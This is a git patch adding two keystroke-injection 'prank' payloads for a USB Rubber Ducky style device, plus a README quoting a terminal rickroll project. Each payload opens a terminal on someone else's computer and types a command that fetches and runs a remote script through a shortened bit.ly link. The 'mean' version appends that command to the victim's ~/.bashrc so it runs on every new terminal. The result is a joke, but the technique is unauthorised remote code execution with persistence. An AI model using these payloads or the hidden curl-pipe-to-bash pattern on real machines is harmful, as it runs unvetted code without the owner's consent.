From 892283e13605bfbb1413f45ca2b97e4ad1f373ef Mon Sep 17 00:00:00 2001 From: FalsePhilosopher Date: Sun, 17 Jul 2022 10:43:50 -0600 Subject: [PATCH] added terminal rickroll --- .../prank/TerminalRickRoll/QuackTUX.txt | 19 ++++++ .../prank/TerminalRickRoll/QuackTUXmean.txt | 19 ++++++ .../library/prank/TerminalRickRoll/README.md | 65 +++++++++++++++++++ 3 files changed, 103 insertions(+) create mode 100644 payloads/library/prank/TerminalRickRoll/QuackTUX.txt create mode 100644 payloads/library/prank/TerminalRickRoll/QuackTUXmean.txt create mode 100644 payloads/library/prank/TerminalRickRoll/README.md diff --git a/payloads/library/prank/TerminalRickRoll/QuackTUX.txt b/payloads/library/prank/TerminalRickRoll/QuackTUX.txt new file mode 100644 index 0000000..bb3fd93 --- /dev/null +++ b/payloads/library/prank/TerminalRickRoll/QuackTUX.txt @@ -0,0 +1,19 @@ +REM Title: Terminal RickRoll Tux style +REM Author: FalsePhilosopher +REM Target: Unix-like tested on kubuntu 22.04. +REM Props: Hak5, strippers and memes +REM Version: 1.0 +REM Category: Prank +REM Everybody loves a good ole rickroll, now in terminal flavor! Note that if you close the terminal the audio still keeps running till you either kill the process or wait out the whole song. Easily modified to work on osx or WSL/cygwin. +REM +DELAY 300 +REM Minimize all windows as that ensures launch happens smoother. +WINDOWS d +DELAY 300 +CTRL-ALT t +DELAY 2000 +F11 +DELAY 200 +STRING curl -s -L http://bit.ly/10hA8iC | bash +DELAY 300 +ENTER diff --git a/payloads/library/prank/TerminalRickRoll/QuackTUXmean.txt b/payloads/library/prank/TerminalRickRoll/QuackTUXmean.txt new file mode 100644 index 0000000..9e7d851 --- /dev/null +++ b/payloads/library/prank/TerminalRickRoll/QuackTUXmean.txt @@ -0,0 +1,19 @@ +REM Title: Terminal RickRoll Tux style +REM Author: FalsePhilosopher +REM Target: Unix-like tested on kubuntu 22.04. +REM Props: Hak5, strippers and memes +REM Version: 1.0 +REM Category: Prank +REM Everybody loves a good ole rickroll, now in terminal flavor! Note that if you close the terminal the audio still keeps running till you either kill the process or wait out the whole song. This version launches it every time your friend opens a terminal. +REM +DELAY 300 +REM Minimize all windows as that ensures launch happens smoother. +WINDOWS d +DELAY 300 +CTRL-ALT t +DELAY 2000 +STRING echo "curl -s -L http://bit.ly/10hA8iC | bash" >> ~/.bashrc +DELAY 300 +ENTER +DELAY 500 +ALT F4 diff --git a/payloads/library/prank/TerminalRickRoll/README.md b/payloads/library/prank/TerminalRickRoll/README.md new file mode 100644 index 0000000..8caaaa2 --- /dev/null +++ b/payloads/library/prank/TerminalRickRoll/README.md @@ -0,0 +1,65 @@ +# Terminal rick roll +Here is a link to the repo to the script and it's readme that is launched in this ducky +https://github.com/keroserene/rickrollrc + +# rickrollrc + +Bash script which [rickrolls](http://en.wikipedia.org/wiki/Rickrolling) your +terminal by playing Rick Astley’s “Never Gonna Give You Up” with ANSI 256-color +coded UTF-8 characters + audio (if available). + +## How to Roll +To start rickrollin’ immediately: + + curl -s -L https://raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh | bash + +Here is the clandestine command you can give to your friends 😈 + + curl -s -L http://bit.ly/10hA8iC | bash + +![rickroll in xterm](http://i.imgur.com/ZAsQWtP.png) +![rickroll in mac](http://i.imgur.com/yDLaZna.png) + +For the record: It is not actually a good idea to make a habit of + + curl $(random_script_from_the_internets) | bash" + +Nevertheless, for the enhanced experience, I highly recommend the following: + + ./roll.sh inject + +Which essentially just does: + + echo "curl -s -L http://bit.ly/10hA8iC | bash" >> ~/.bashrc + +For a salutary lesson in the importance of taking care what you +execute in your terminal, inspired by the classic +[sl](http://www.tkl.iis.u-tokyo.ac.jp/~toyoda/index_e.html), save the +command in a shell script called `suod` somewhere on your `PATH`. It’s +recommended to download the script for faster startup, to avoid +spoiling the surprise when you accidentally execute it for the nth +time (and also, unless you really like living dangerously, for +security, in case we are demonically possessed to replace `roll.sh` +with something evil). + +## Misc. + +This has been tested on Arch, Debian, Ubuntu, Mac and Cygwin (so far). +To enable sound in Cygwin, install the **sox** package. + +Since this is a colorful hobby, you need to ensure 256-color mode is enabled or +Astley will look sad. + +For example, if you use GNU screen, ensure your ~/.screenrc contains something +like: + + termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm' + defbce "on" + +Kudos to jart for our lovely hiptext shenanigans. +Please see our sister project: [hiptext](https://github.com/jart/hiptext), which +generates ANSI color codes for any image or video. + +<3, + +~serene ([@kiserene](http://twitter.com/kiserene))